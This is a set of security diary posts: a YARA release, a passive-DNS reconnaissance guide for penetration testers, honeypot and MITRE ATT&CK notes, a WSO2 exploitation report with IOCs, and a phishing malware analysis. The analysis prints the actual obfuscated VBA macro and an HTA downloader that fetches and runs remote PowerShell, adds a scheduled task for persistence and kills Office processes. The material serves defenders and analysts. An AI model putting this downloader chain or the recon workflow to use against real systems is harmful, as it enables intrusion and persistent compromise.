Version 4.2.1 of YARA was released.

It contains several bug fixes.

For Windows users, it also brings the implementation for the --skip-larger=<size> option. This option was introduced with version 4.2.0 to "Skip files larger than the given <size> in bytes when scanning a directory." But it was not implemented in the Windows version.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In so many penetration tests or assessments, the client gives you a set of subnets and says "go for it".  This all seems reasonable, until you realize that if you have a website, there might be dozens or hundreds of websites hosted there, each only accessible by their DNS name.  

In those situations, browsing just by IP might give you a default page the developer wrote, or even worse, the default Apache or IIS page.  Needless to say, without that list of DNS names, your assessment will be less than complete!

So, how do we get those website names?  The first go-to will be the certificate - nmap can give you DNS names in the CN (Common Name) and SAN (Subject Alternative Names) fields of the certificate.

nmap -p<list of ports> -Pn --open -sT <ip addresses or subnets> --script ssl-cert -oA certs.out

What are these flags?

-p is the list of ports - that's 443 for sure, but lots of sites use 444, 8443 and so on.  It's usually wise to scan everything to find the open ports, then drill down from there.  Masscan can be a great help here, time-wise.
-Pn Don't ping the target, assume that it is there.  So many firewalls block ping still that this is just a "reflex flag".  It costs some time, but I'd rather burn some minutes than miss a host or servers
--open Only show me open ports.  Because really, why would you tabulate services that aren't there
-sT  Use a connect scan (do the full TCP handshake).  I'm finding lately that the default nmap scan will frequently misses services, depending on the firewall and implementation
--script ssl-cert  collect the certificate and show the information
-oA define the name for the 3 output files (nmap, grep-able nmap and xml)

This can easily give you a half page of information, if you are at the point where you just want the DNS names, run it through findstr or grep:
nmap -p443 -Pn --open -sT isc.sans.edu --script ssl-cert | findstr "Name report" | findstr /v "Issuer"
or
nmap -Pn -p443 -sT --open isc.sans.edu --script ssl-cert | grep 'Name\|report' | grep -v Issuer

either will give you this:

Nmap scan report for isc.sans.edu (45.60.31.34)
| ssl-cert: Subject: commonName=imperva.com
| Subject Alternative Name: DNS:*.cyberaces.org, DNS:*.sans.edu, DNS:*.cyberfoundations.org, DNS:*.sans.co, DNS:sans.org, DNS:cybercenters.org, DNS:*.giac.org, DNS:*.sans.org, DNS:sans.co, DNS:*.cybercenters.org, DNS:cio.org, DNS:qms.sans.org, DNS:*.giac.net, DNS:sans.edu, DNS:cyberaces.org, DNS:imperva.com, DNS:*.dshield.org, DNS:pre-ondemand.sans.org, DNS:*.cio.org, DNS:cyberfoundations.org, DNS:giac.net, DNS:*.labs.sans.org, DNS:sso.securingthehuman.org, DNS:*.securingthehuman.org, D7NS:giac.org, DNS:content.sans.org, DNS:isc.sans.edu

Right away you see the problem with this approach in 2022.  Yes, we see the FQDN in the list (isc.sans.edu), but there's a whole whack of wildcards in this list too.  Many clients switch to a wildcard certificate at about the 3 host mark, where it becomes cheaper to buy a wildcard than to buy 3 named certs, but more importantly it's easier to have a wildcard that works for everything than to fuss with the SAN field every time you need to stand up a new thing.

So, with certificate enumeration becoming less and less useful (for this at least), what can we use to find this information?  Passive DNS is the thing that was supposed to collect this for us, and here begins the journey.  These services track DNS requests over the internet and keep a database, so you can slice and dice that data - in this case, we want to do reverse-lookups by IP, or else do a blanket "pretend zone transfer" for your customer's DNS domain.

IPInfo was were I started.  They're roots are in ASN and geo-lookups though, theirs not a lot of DNS going on there:

curl ipinfo.io/$1?token=<API KEY>

For  our test 45.60.31.34, we get:
{
  "ip": "45.60.31.34",
  "anycast": true,
  "city": "Redwood City",
  "region": "California",
  "country": "US",
  "loc": "37.5331,-122.2486",
  "org": "AS19551 Incapsula Inc",
  "postal": "94065",
  "timezone": "America/Los_Angeles"
}

So, good info, but not what we're looking for in this case.  Next I went to DNS dumpster (and 3-4 services just like it).  They all have a good-to-great reputation, and all support an API.  For instance, to collect dns info for an IP in DNS Dumpster, this is your call:

https://api.hackertarget.com/reverseiplookup/?q=45.60.31.34

Or, if you need higher volume requests, with a paid membership you get an API key:

https://api.hackertarget.com/reverseiplookup/?q=45.60.31.34&page=2&apikey=<API KEY>

For the ISC IP, we'll need to strip out some extra records that are there for the imperva service:
curl -s https://api.hackertarget.com/reverseiplookup/?q=45.60.31.34  | grep -v incapdns  | grep -v imperva
admin.sans.org
cio.org
cyber-defense.sans.org
cyberaces.org
cybercenters.org
cyberfoundations.org
digital-forensics.sans.org
exams.giac.org
giac.net
giac.org
ics.sans.org
idp.sans.org
isc.sans.edu
ondemand.sans.org
pen-testing.sans.org
sans.co
sans.edu
sans.org
securingthehuman.org
software-security.sans.org
vle.securingthehuman.org
www.cio.org
www.giac.org
www.sans.edu
www.sans.org

DNS Dumpster gave me good results, but most of the others give results very similar to a dns reverse lookup (so not great)

Circl.lu is a free PDNS service that I had good luck with.  A reverse lookup against an IP for their service looks like:
curl --insecure -u <your account>:<API KEY> -X GET "https://www.circl.lu/pdns/query/$1" -H "accept: application/json" | jq

Note that I run it through jq to make this WAY more human-readable.  If you're piping this into more python code, you might not need to do that.
For the ISC IP Address, we get a series of stanzas like this:

{
  "count": 26,
  "origin": "https://www.circl.lu/pdns/",
  "time_first": 1518633608,
  "rrtype": "A",
  "rrname": "777jdxx.x.incapdns.net",
  "rdata": "45.60.31.34",
  "time_last": 1539958408
}

Stripping out the required data (usually rrname or rdata) is easy using grep.  Note that we get "first seen" and "last seen" records - it can be really handy to look at historic records - looking back in time can find hosts that have moved (not just retired), which can net you new targets.

Shodan can also be useful, especially if you want to start a web assessment before you have complete information.  A "tell me about that host" API call looks like this:

curl -k GET "https://api.shodan.io/shodan/host/$1?key=<API KEY>"

This gets you a great list of DNS names, but also ports to assess.  Note that this is no substitute for an actual scan, these are ports that were open "now or sometime in the past".  This is the result for our 45.60.31.34 test IP:

{"city": "Redwood City", "region_code": "CA", "os": null, "tags": ["cdn"], "ip": 758914850, "isp": "Incapsula Inc", "area_code": null, "longitude": -122.2486, "last_update": "2022-04-28T15:57:57.234562", "ports": [1024, 7171, 25, 20000, 8112, 2082, 2083, 2086, 2087, 5672, 554, 53, 12345, 60001, 587, 80, 88, 9306, 8800, 7777, 7779, 5222, 631, 636, 8834, 5269, 1177, 5800, 2222, 8880, 8888, 8889, 10443, 3790, 1234, 9943, 3299, 8123, 4848, 2345, 8443, 5900, 50050, 9998, 9999, 10000, 10001, 389, 9000, 9001, 6443, 4911, 9009, 7474, 9530, 3389, 8000, 8001, 8008, 8009, 8010, 50000, 9443, 7001, 4443, 5985, 5986, 5007, 6000, 6001, 9080, 7548, 9600, 9090, 8069, 5000, 9100, 5006, 1935, 8080, 5010, 8083, 4500, 8086, 8089, 1433, 7071, 8098, 25001, 2480, 4022, 3000, 3001, 443, 444, 8126, 4040, 8139, 8140, 2000, 4567, 4064, 5601, 1521, 8181], "latitude": 37.5331, "hostnames": ["cio.org", "cyberaces.org", "sans.co", "giac.net", "imperva.com", "cyberfoundations.org", "qms.sans.org", "pre-ondemand.sans.org", "content.sans.org", "sans.org", "sso.securingthehuman.org", "isc.sans.edu", "sans.edu", "giac.org", "cybercenters.org"], "country_code": "US", "country_name": "United States", "domains": ["cio.org", "cyberaces.org", "sans.co", "imperva.com", "cyberfoundations.org", "securingthehuman.org", "sans.org", "giac.net", "sans.edu", "giac.org", "cybercenters.org"], "org": "Incapsula Inc", "data": [{"hash": -1165365928, "tags": ["cdn"], "timestamp": "2022-04-12T20:03:12.152182", "isp": "Incapsula Inc", "transport": "tcp", "data": "HTTP/1.1 400 Bad Request\r\nContent-Type: text/html\r\nCache-Control: no-cache, no-store\r\nConnection: close\r\nContent-Length: 703\r\nX-Iinfo: 3-72081346-0 0NNN RT(1649793787541 1002) q(-1 -1 -1 -1) r(0 -1) b1\r\n\r\n<html style=\"height:100%\"><head><META NAME=\"ROBOTS\" CONTENT=\"NOINDEX, NOFOLLOW\"><meta name=\"format-detection\" content=\"telephone=no\"><meta name=\"viewport\" content=\"initial-scale=1.0\"><meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\"></head><body style=\"margin:0px;height:100%\"><iframe id=\"main-iframe\" src=\"/_Incapsula_Resource?CWUDNSAI=2&xinfo=3-72081346-0%200NNN%20RT%281649793787541%201002%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-292531051494773379&edet=3&cinfo=ffffffff&pe=631&rpinfo=0&mth=EHLO\" frameborder=0 width=\"100%\" height=\"100%\" marginheight=\"0px\" marginwidth=\"0px\">Request unsuccessful. Incapsula incident ID: 0-292531051494773379</iframe></body></html>", "asn": "AS19551", "port": 25, "hostnames": [], "location": {"city": "Redwood City", "region_code": "CA", "area_code": null, "longitude": -122.2486, "latitude": 37.5331, "country_code": "US", "country_name": "United States"}, "ip": 758914850, "domains": [], "org": "Incapsula Inc", "os": null, "_shodan": {"crawler": "e69d8d673faaa42bde0e9c7ce075d3c7146e67d0", "options": {}, "id": "6868ebff-0f16-4032-9ca3-81e36c34ca1b", "module": "smtp", "ptr": true}, "opts": {}, "ip_str": "45.60.31.34"}, {"hash": 0, "tags": ["cdn"], "timestamp": "2022-04-25T06:25:08.421173", "isp": "Incapsula Inc", "transport": "tcp", "data": "", "asn": "AS19

And yes, piping this through "jq" makes for a much more readable and complete format - but it's a full 9762 lines in length!  The "ports" section I find particularly useful for initial recon (truncated list below, full list in the above unformatted output) - you'll also find certs and banners, and some dns names as well in the output.

  "ports": [
    1024,
    7171,
    25,
    20000,
    8112,

 .... lots more ports here
(look above for the full list) ....                                                                                                            
    4064,
    5601,
    1521,
    8181
  ],

OK, I saved the best (so far) (for this one purpose) for last.  Cisco Umbrella is the same idea, but since they purchased and now run OpenDNS, they've got a very high fidelity data source they can use to populate their database.  What I've found with this is that in most situations the data I get is as good as a zone transfer.  In fact, it's better than a zone transfer, because it gives me A records for other domains the client may have registered, and also historic data for what that IP might have been used for prior to it's current use.

An API call for umbrella to investigate an IP:
curl "https://investigate.api.umbrella.com//pdns/ip/$1" -H 'Authorization: Bearer <API KEY>' -H 'Content-Type: application/json' | jq | tee $1.ip.umbrella.txt

For our test IP, we get dozens of stanzas like this:
    {
      "minTtl": 10,
      "maxTtl": 7200,
      "firstSeen": 1627338936,
      "lastSeen": 1629896904,
      "name": "45.60.31.34",
      "type": "A",
      "rr": "isc.sans.org.",
      "securityCategories": [],
      "contentCategories": [
        "Blogs",
        "Software/Technology",
        "Research/Reference",
        "Computer Security"
      ],
      "lastSeenISO": "2021-08-25T13:08Z",
      "firstSeenISO": "2021-07-26T22:35Z"
    },

You can see here that we get a TON of metadata with these queries.  If we just want those hostnames:
cat 45.60.31.34.ip.umbrella.txt| grep rr
      "rr": "software-security.sans.org.",
      "rr": "connect.labs.sans.org.",
      "rr": "ee7zbpo.x.incapdns.net.",
.... lots more records here ...
      "rr": "s8njeic.x.incapdns.net.",
      "rr": "cmv3my6.x.incapdns.net.",
      "rr": "vnrgywa.x.incapdns.net.",
      "rr": "2gr224q.x.incapdns.net.",

Filtering out the icapdns and imperva information with a filter "| grep -v icapdns | grep -v imperva", maybe kill the extra characters with "| tr -d \" | tr -d , | sed  "s/rr://g",  the list now starts be very useful:

       software-security.sans.org.
       connect.labs.sans.org.
       sans.org.
       olt-apis.sans.org.
       exams.giac.org.
       pen-testing.sans.org.
       digital-forensics.sans.org.
       ics.sans.org.
       labs.sans.org.
       www.sans.org.
       cyberaces.org.
       cyber-defense.sans.org.
       ondemand.sans.org.
       vle.securingthehuman.org.
       securingthehuman.org.
       giac.org.
       isc.sans.edu.
       admin.sans.org.
       registration.sans.org.
       cio.org.
       idp.sans.org.
       www.giac.org.
       www.sans.edu.
       sans.edu.
       sans.co.
       cyberfoundations.org.
       cybercenters.org.
       www.cio.org.
       giac.net.
       dev-registration.sans.org.
       admin.labs.sans.org.
       isc.sans.org.
       sic.sans.org.
       computer-forensics.sans.org.
       www.securingthehuman.org.

The interesting thing with this list is that you'll see a number of domains, in the case of SANS there are a ton of other related sites.  In a typical customer that has "somedomainname.com" - you'll find those, but you'll also find "myproduct.my-marketing-departments-idea.com"  - in a lot of cases these might be websites that your client has just plain forgot about, they lived for a 6 month marketing campaign, a client demo or whatever, then never got deleted.  But the website bugs associated with that site from 4 (or 14) years ago temp site stick around FOREVER. 

Interestingly, if you find a DNS server in your list, you can get the list of DNS domains hosted by that server (this was useful to me in a client gig earlier this month):
curl https://investigate.api.umbrella.com/whois/nameservers/ns27.worldnic.com?limit=600 -H 'Authorization: Bearer <API Token goes here>' -H 'Content-Type: application/json' | jq | grep \"domain\"

This currently has a bug where no matter what value you put in for a "limit" value, the list is truncated at 500 (actually recently that got bumped down to 250).  I'm waiting for my purchased API key to see if that is just a problem with a trial license, or if it's a bug that needs fixing.  Either way though, that's 250 or 500 more domains that might be in scope, this makes great fodder for a next step!

What have I found using these tools?  A metric TON of websites I never would otherwise have been able to assess for one thing.  Lots of "my sparkly marketing website" with the word "cloud" in it.  A few personal websites that admins host "to one side" on the corporate servers (sports pools for instance), and also a ".xxx" website that used to be hosted on an IP that my client now has.

If you're interested in trying these, most of these services offer free trials so you can pick and choose what works for you - enjoy!  I'll have these scripts (and will add more) in my github at https://github.com/robvandenbrink/DNS-PDNS-Recon.

Have I missed a great data resource in this write-up?  If you've gotten better results from some other service or API, by all means share! (enquiring minds always want to know) - post to our comment section!

===============
Rob VandenBrink
rob@coherentsecurity.com

 

References:

Note that all of these tools have a ton of other lookups and data besides just IP lookups - they're all great tools to explore!

IPinfo API: https://ipinfo.io/developers
Circl.lu API: https://cve.circl.lu/api/
Shodan API: https://developer.shodan.io/api
Hackertarget / DNSDumpster API: https://hackertarget.com/ip-tools/  (also web lookups)
Cisco Umbrella "Investigate" API: https://developer.cisco.com/docs/cloud-security/#investigate-introduction-overview

 

After Microsoft patched and went public with %%CVE:2022-26809%%, the recent RPC vulnerability, we set up a complete Windows 10 system exposing port 445/TCP "to the world." The system is not patched for the RPC vulnerability. And to keep things more interesting, we are forwarding traffic from a subset of our honeypots to the system. This gives us a pretty nice cross-section and keeps the system pretty busy. Other than not applying the April patches, the system isn't particularly vulnerable and is left in the default configuration (firewall disabled, of course).

So what did we get? I set up a quick Kibana dashboard on my home "SIEM" to track the activity:

 

 

BLUF: We have not seen any attempts to exploit CVE-2022-26809. But instead, we saw a lot of old familiar exploits.

Due to redirecting many IP addresses to one little honeypot, we do get a good number of inbound connections to port 445. About 20k attempts to map shares per day or about a dozen a minute (well, more a baker's dozen). The share attempts are exclusively for IPC$, and they fail because we do not have a super-simple password.

But the #1 alert is still for "ETERNALBLUE" (MS17-010, %%CVE:2017-0144%%). I guess that vulnerability is still yielding some success, which is surprising given that I would expect vulnerable systems to be all taken over by now. Attackers may be hoping for new systems to be brought online.

We did get a non-neglectable number of attempts to look for an MS Terminal Server (58/day). RDP/VNC/Terminal server is still a favorite among attackers, and attackers are scanning various ports/means of access to find vulnerable systems. Hiding on an odd port will not help!

So how do we know that we got exploited? One thing I am watching on this honeypot is outbound connections (not displayed in the screenshot above as there isn't anything to show... yet).

Should you stop rushing out the April patch? Absolutely not. I hope you are already done applying the patch. But the April Windows patch had several additional gems, not just patches for RPC. Chatter about CVE-2022-26809 has died down, but as they say: Sometimes the quiet ones are the dangerous ones, and people able to exploit this vulnerability may not broadcast what they are doing on social media.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

MITRE ATT&CK has long been the de facto standard for sharing TTPs of different threat actors and for planning and executing various threat emulation exercises. However, especially in the last few years, I’ve seen more and more Security Operations Centers start using it as well, for mapping of their defensive capabilities, detection use cases and SIEM correlation rules.

On Monday, a new version of the framework was released[1], which (among other changes) extends its content a little in order to make its use more straightforward when it comes to mapping of existing detections and for implementation of new ones. In versions 9[2] and 10[3], the framework was extended by an updated list of “Data Sources” relevant to the detection of each technique and sub-technique, and the current version adds an explicit description of how information available in specific Data Sources may be used in order to detect these (sub-)techniques.

Overview of detections for sub-technique Boot or Logon Initialization Scripts: Startup Items (T1037.005) in MITRE ATT&CKv10

Overview of detections for sub-technique Boot or Logon Initialization Scripts: Startup Items (T1037.005) in MITRE ATT&CKv11

Although simple mapping of detection descriptions directly to specific Data Sources might not seem like much, it can certainly help when it comes to detection mapping and other defensive use cases, since the descriptions are now also available when one pivots to a view of a specific Data Source.

Overview of detections for technique Account Discovery (T1087) related to Command: Command Execution (DS0017) Data Source in MITRE ATT&CKv10

Overview of detections for technique Account Discovery (T1087) related to Command: Command Execution (DS0017) Data Source in MITRE ATT&CKv11

As you may see, the v11 update truly simplifies both mapping of existing detections to the ATT&CK framework, as well as certain aspects of detection engineering.

So, if your security operations/“blue” team doesn’t yet use MITRE ATT&CK in any way, perhaps now might be a good time to change that… After all, it won’t cost you anything and it can certainly help to achieve a formalized a view of (not just) what offensive techniques you can and can’t actually see with the detections you have in place.

[1] https://attack.mitre.org/resources/updates/updates-april-2022/index.html
[2] https://attack.mitre.org/resources/updates/updates-april-2021/index.html
[3] https://attack.mitre.org/resources/updates/updates-october-2021/index.html

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

While investigating a malicious crypto-mining case, I discovered that attackers implanted the payload exploiting a recently patched RCE vulnerability (CVE-2022-29464) affecting multiple WSO2 products, including API Manager. The vulnerability was discovered by Orange Tsai and responsibly disclosed to WSO2.

According to the WSO2 security advisory, “due to improper validation of user input, a malicious actor could upload an arbitrary file to a user-controlled location of the server. By leveraging the arbitrary file upload vulnerability, it is further possible to gain remote code execution on the server” – and this was exactly what happened. After implanting a webshell, attackers executed a shell script (snippet below) to download and run xmrig.

A snippet of the XMRig crypto-mining implant script

The vulnerability was first published on April 1^st 2022 and a proof-of-concept exploit was published 6 days ago on Git-Hub.

Affected products:

WSO2 API Manager 2.2.0 and above
WSO2 Identity Server 5.2.0 and above
WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0
WSO2 Identity Server as Key Manager 5.3.0 and above
WSO2 Enterprise Integrator 6.2.0 and above
WSO2 Open Banking AM 1.4.0 and above
WSO2 Open Banking KM 1.4.0 and above

If you have vulnerable versions exposed to the internet, I recommend that in addition to protecting against CVE-2022-29464 vulnerability through patches or mitigations recommended by WSO2, check to see if your environment may have already been compromised.

IOCs

http://162[.]144.53.108:8080/ldra.sh
http://162[.]144.53.108:8080/jsp_app
23[.]225.191.74

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Last week, I found an interesting piece of phishing based on a PDF file. Today, most of the PDF files that are delivered to end-user are not malicious, I mean that they don’t contain an exploit to trigger a vulnerability and infect the victim’s computer. They are just used as a transport mechanism to deliver more malicious content. Yesterday, Didier analyzed the same kind of Word document[1]. They are more and more common because they are (usually) not blocked by common filters at the perimeter.

The PDF file (SHA256:f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01) has a VT score of 1/58 and display a nice message:

The PDF is obfuscated in a classic way, all objects are embedded in an Object Stream:

remnux@remnux:/MalwareZoo/20220425$ pdfid.py f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -n
PDFiD 0.2.8 foo.pdf
 PDF Header: %PDF-1.5
 obj                   25
 endobj                25
 stream                23
 endstream             23
 startxref              1
 /ObjStm                1
 /AcroForm              1

The file has a /URI keyword that points to the malicious URL:

remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -k /URI
  /URI (hxxps://www[.]mediafire[.]com/file/fwxhm1vylsg3nl3/7.ppam/file)

To visit the malicious URL, the victim has to click on the picture displayed above, this is made in the PDF file via the /Annot object:

remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -o 22
obj 22 0
 Containing /ObjStm: 1 0
 Type: /Annot
 Referencing: 27 0 R, 28 0 R

  <<
    /Type /Annot
    /Subtype /Link
    /A 27 0 R
    /Rect [1 0 613 791]
    /BS 28 0 R
  >>

remnux@remnux://MalwareZoo/20220425$ pdf-parser.py -O f39408fee496216cf5f30764e6f259f71ea0ab4daa81f808f2958e8fca772d01.pdf -o 27
obj 27 0
 Containing /ObjStm: 1 0
 Type: /Action
 Referencing: 

  <<
    /Type /Action
    /S /URI
    /URI (hxxps://www[.]mediafire[.]com/file/fwxhm1vylsg3nl3/7.ppam/file)
  >>

When you visit the URL, you fill fetch a malicious PowerPoint file: 7.ppam (SHA256:2198abfdf736586893afe8e15153369299d3164e036920ff19c83043ba4ce54b) (VT score: 21/64)

remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam
Index Filename                                      Encrypted Timestamp           
    1 [Content_Types].xml                                   0 2022-04-06 13:56:56 
    2 _rels/.rels                                           0 1980-01-01 00:00:00 
    3 ppt/_rels/presentation.xml.rels                       0 2022-04-06 13:57:10 
    4 ppt/presentation.xml                                  0 1980-01-01 00:00:00 
    5 ppt/slideLayouts/_rels/slideLayout5.xml.rels          0 1980-01-01 00:00:00 
    6 ppt/slideLayouts/_rels/slideLayout8.xml.rels          0 1980-01-01 00:00:00 
    7 ppt/slideLayouts/_rels/slideLayout9.xml.rels          0 1980-01-01 00:00:00 
    8 ppt/slideLayouts/_rels/slideLayout10.xml.rels         0 1980-01-01 00:00:00 
    9 ppt/slideLayouts/_rels/slideLayout11.xml.rels         0 1980-01-01 00:00:00 
   10 ppt/slideLayouts/_rels/slideLayout7.xml.rels          0 1980-01-01 00:00:00 
   11 ppt/slideLayouts/_rels/slideLayout6.xml.rels          0 1980-01-01 00:00:00 
   12 ppt/slideMasters/_rels/slideMaster1.xml.rels          0 1980-01-01 00:00:00 
   13 ppt/slideLayouts/_rels/slideLayout1.xml.rels          0 1980-01-01 00:00:00 
   14 ppt/slideLayouts/_rels/slideLayout2.xml.rels          0 1980-01-01 00:00:00 
   15 ppt/slideLayouts/_rels/slideLayout3.xml.rels          0 1980-01-01 00:00:00 
   16 ppt/slideLayouts/slideLayout11.xml                    0 1980-01-01 00:00:00 
   17 ppt/slideLayouts/slideLayout10.xml                    0 1980-01-01 00:00:00 
   18 ppt/slideLayouts/slideLayout9.xml                     0 1980-01-01 00:00:00 
   19 ppt/slideMasters/slideMaster1.xml                     0 1980-01-01 00:00:00 
   20 ppt/slideLayouts/slideLayout1.xml                     0 1980-01-01 00:00:00 
   21 ppt/slideLayouts/slideLayout2.xml                     0 1980-01-01 00:00:00 
   22 ppt/slideLayouts/slideLayout3.xml                     0 1980-01-01 00:00:00 
   23 ppt/slideLayouts/slideLayout4.xml                     0 1980-01-01 00:00:00 
   24 ppt/slideLayouts/slideLayout5.xml                     0 1980-01-01 00:00:00 
   25 ppt/slideLayouts/slideLayout6.xml                     0 1980-01-01 00:00:00 
   26 ppt/slideLayouts/slideLayout7.xml                     0 1980-01-01 00:00:00 
   27 ppt/slideLayouts/slideLayout8.xml                     0 1980-01-01 00:00:00 
   28 ppt/slideLayouts/_rels/slideLayout4.xml.rels          0 1980-01-01 00:00:00 
   29 ppt/theme/theme1.xml                                  0 1980-01-01 00:00:00 
   30 ppt/ksjksj.~text~TEXT~TEXT~                           0 1980-01-01 00:00:00 
   31 docProps/thumbnail.jpeg                               0 2022-02-07 22:50:16 
   32 ppt/presProps.xml                                     0 1980-01-01 00:00:00 
   33 ppt/tableStyles.xml                                   0 1980-01-01 00:00:00 
   34 ppt/viewProps.xml                                     0 1980-01-01 00:00:00 
   35 docProps/app.xml                                      0 1980-01-01 00:00:00 
   36 docProps/core.xml                                     0 1980-01-01 00:00:00 

The stream ID 30 looks the most interesting. It contains indeed a macro:

remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam -s 30 -d | oledump.py 
  1:       516 'PROJECT'
  2:        26 'PROJECTwm'
  3: M    5457 'VBA/Module1'
  4:      2463 'VBA/_VBA_PROJECT'
  5:       529 'VBA/dir'

remnux@remnux:/MalwareZoo/20220425$ zipdump.py 7.ppam -s 30 -d | oledump.py -s 3 -v
Attribute VB_Name = "Module1"
Sub Auto_Open()

:::::: MsgBox "error! Re-install office":::::: Dim koaksdokasd As String:::::: koakosdk = "!@##!!@%^@^^n&&$%#g&&$%#tcar:":::::: koakosdk = Replace(koakosdk, "!@##!", "W"):::::: koakosdk = Replace(koakosdk, "!@%^@^^", "i"):::::: koakosdk = Replace(koakosdk, "car", "s"):::::: koakosdk = Replace(koakosdk, "&&$%#", "m"):::::: askjdjawjkdokawod = "askjdjawjkdokawod5nooo_Proce66":::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "askjdjawjkdokawod", "W"):::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "5", "i"):::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "ooo", "32"):::::: askjdjawjkdokawod = Replace(askjdjawjkdokawod, "6", "s")

:::::: koaksdokasd = "C:\Users\Public\update.js":::::: Close::::::     Open koaksdokasd For Output As #1:::::: Print #1, "function _0x2a39(_0x56d387,_0x4f348e){var _0x98da71=_0x98da();return _0x2a39=function(_0x2a392c,_0xb2ca10){_0x2a392c=_0x2a392c-0x19c;var _0x3d14a3=_0x98da71[_0x2a392c];return _0x3d14a3;},_0x2a39(_0x56d387,_0x4f348e);}function _0x98da(){var _0x4db6f6=['SpawnInstance_','30XpBDce','C:\x5cProgramData\x5cddond.com','2WjTghW','Win32_ProcessStartup','3551556ACfgms','CopyFile','1902954vylczN','Get','7dmvGMR','ShowWindow','155sBzhfb','winmgmts:','C:\x5cProgramData\x5cddond.com\x20hxxps://www[.]mediafire[.]com/file/d2oqymifkgxft56/7.htm/file','1058001GaUEEA','Create','24OTupMg','2802371DmNBod','146204AuCDSo','632050FwjRPn','3495483BWCpkS'];"

:::::: Print #1, "_0x98da=function(){return _0x4db6f6;};return _0x98da();}var _0x550d40=_0x2a39;(function(_0x3935a0,_0x1de856){var _0x57a7a7=_0x2a39,_0xff11fe=_0x3935a0();while(!![]){try{var _0x2a1df1=-parseInt(_0x57a7a7(0x1a4))/0x1*(-parseInt(_0x57a7a7(0x19f))/0x2)+parseInt(_0x57a7a7(0x1af))/0x3+parseInt(_0x57a7a7(0x19e))/0x4*(-parseInt(_0x57a7a7(0x1ac))/0x5)+parseInt(_0x57a7a7(0x1a8))/0x6*(parseInt(_0x57a7a7(0x1aa))/0x7)+parseInt(_0x57a7a7(0x19c))/0x8*(parseInt(_0x57a7a7(0x1a0))/0x9)+parseInt(_0x57a7a7(0x1a2))/0xa*(-parseInt(_0x57a7a7(0x19d))/0xb)+parseInt(_0x57a7a7(0x1a6))/0xc;"

:::::: Print #1, "if(_0x2a1df1===_0x1de856)break;else _0xff11fe['push'](_0xff11fe['shift']());}catch(_0x589b6a){_0xff11fe['push'](_0xff11fe['shift']());}}}(_0x98da,0xd3564),megamon=_0x550d40(0x1a3));var dihearter=new ActiveXObject('Scripting.FileSystemObject'),pit=dihearter[_0x550d40(0x1a7)]('C:\x5cWindows\x5cSystem32\x5cmshta.exe',megamon);KALYJA=_0x550d40(0x1ae);var w32ps=GetObject(_0x550d40(0x1ad))[_0x550d40(0x1a9)](_0x550d40(0x1a5));w32ps[_0x550d40(0x1a1)](),w32ps[_0x550d40(0x1ab)]=0x0;var rtrnCode=GetObject(_0x550d40(0x1ad))[_0x550d40(0x1a9)]('Win32_Process')[_0x550d40(0x1b0)](KALYJA,null,w32ps,null);":::::: Close::::::::::::::::::::::::::::::::::::: GetObject(koakosdk) _
. _
Get(askjdjawjkdokawod) _
. _
Create ("wscript C:\Users\Public\update.js")
End Sub

No need to deobfuscate the macro completely, we see interesting strings (in red). The next payload is downloaded and then executed through mshta.exe.

<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID="CS"
APPLICATIONNAME="Downloader"
WINDOWSTATE="minimize"
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="no"
CAPTION="no"
SHOWINTASKBAR="no">

<script>
chuchukukukaokiwDasidow = new ActiveXObject('Wscript.Shell');
kiii = "C:\\ProgramData\\ESETNONU.com";

var king = new ActiveXObject("Scripting.FileSystemObject");var pit = king.CopyFile ("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Powershell.exe", k
iii);

cmd = "C:\\ProgramData\\ESETNONU.com -EP B -NoP -c i'e'x([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('hxxps://www[.]mediafire[.]com/file
/w2uuz1cy4cl2gup/7.dll/file').GetResponse().GetResponseStream()).ReadToend());";

var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');w32ps.SpawnInstance_();w32ps.ShowWindow=0;var rtrnCode=GetObject('winmgmts:').Get('Win32_
Process').Create(cmd,null,w32ps,null);

chuchukukukaokiwDasidow.Run('schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr """%programdata%\\milon.com' + '""""""' + 'hxxps://www[.]mediafire[.]
com/file/3k4f9iglvljn9kt/7.htm/file"""',0);

megamon = "C:\\ProgramData\\milon.com";
var dihearter = new ActiveXObject("Scripting.FileSystemObject");var pit = dihearter.CopyFile ("C:\\Windows\\System32\\mshta.exe", megamon);

chuchukukukaokiwDasidow.Run("taskkill /f /im WinWord.exe",0);
chuchukukukaokiwDasidow.Run("taskkill /f /im Excel.exe",0);
chuchukukukaokiwDasidow.Run("taskkill /f /im POWERPNT.exe",0);

window.close();

</script>
</head>
<body>
</body>
</html>

You can see that the script implements persistence through a scheduled task and tries also to kill some processes. It fetches the next stage again from mediafire.com but it does not fetch a DLL. It's another script. It is a PowerShell script with some Base64 content:

remnux@remnux:/MalwareZoo/20220425$ base64dump.py 7.dll
ID  Size    Encoded          Decoded          md5 decoded                     
--  ----    -------          -------          -----------                     
 1:       4 Text             M.m              3d0b353fa22a0001c9a7fda13f7c638e
 2:       8 Encoding         .w(v).           02b746b5b6358014a5294544d71a4dd7
 3:      16 FromBase64String ..&.......).     4cfff9a87d891e1961d358c98991e469
